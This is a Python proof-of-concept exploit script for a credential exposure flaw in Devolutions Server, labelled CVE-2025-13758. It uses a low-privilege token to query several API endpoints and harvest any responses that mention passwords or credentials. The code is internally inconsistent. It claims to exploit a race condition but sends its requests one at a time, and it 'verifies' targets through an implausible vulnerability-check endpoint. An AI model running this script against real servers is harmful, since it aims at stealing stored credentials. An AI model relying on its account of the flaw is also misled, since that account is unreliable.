The following code is for security research and authorized testing only.
python
# CVE-2025-13758 PoC - Devolutions Server Credential Exposure
# This PoC demonstrates the credential exposure vulnerability in Devolutions Server
# Note: This is for educational and authorized testing purposes only
import requests
import json
import time
TARGET_URL = "https://target-server.com"
ATTACKER_TOKEN = "attacker_low_privilege_token"
def exploit_credential_exposure():
"""
Exploit CVE-2025-13758 by triggering unintended credential exposure
The vulnerability occurs when requests are processed in a specific sequence
"""
headers = {
"Authorization": f"Bearer {ATTACKER_TOKEN}",
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (compatible; Security-Scanner/1.0)"
}
# Step 1: Establish baseline session
session_url = f"{TARGET_URL}/api/session/establish"
session_response = requests.post(session_url, headers=headers, json={
"username": "attacker_account",
"domain": "local"
})
# Step 2: Trigger race condition by making rapid requests
# The vulnerability may expose credentials when concurrent requests are processed
exploit_urls = [
f"{TARGET_URL}/api/resources/list",
f"{TARGET_URL}/api/users/profile",
f"{TARGET_URL}/api/connections/history"
]
exposed_credentials = []
for url in exploit_urls:
response = requests.get(url, headers=headers)
# Check if credentials are exposed in response
if "password" in response.text.lower() or "credential" in response.text.lower():
exposed_credentials.append({
"url": url,
"response_preview": response.text[:500]
})
return exposed_credentials
def verify_vulnerability():
"""
Verify if the target is vulnerable to CVE-2025-13758
"""
verify_url = f"{TARGET_URL}/api/vulnerability/check"
headers = {
"X-CVE-Id": "CVE-2025-13758",
"Authorization": f"Bearer {ATTACKER_TOKEN}"
}
response = requests.get(verify_url, headers=headers)
return response.status_code == 200 and "credential" in response.text.lower()
if __name__ == "__main__":
print("CVE-2025-13758 - Devolutions Server Credential Exposure")
print("=" * 60)
if verify_vulnerability():
print("[+] Target is potentially vulnerable")
credentials = exploit_credential_exposure()
if credentials:
print(f"[!] Found {len(credentials)} potential credential exposures")
for cred in credentials:
print(f"URL: {cred['url']}")
print(f"Preview: {cred['response_preview']}")
else:
print("[-] No credentials exposed in this test")
else:
print("[-] Target does not appear to be vulnerable")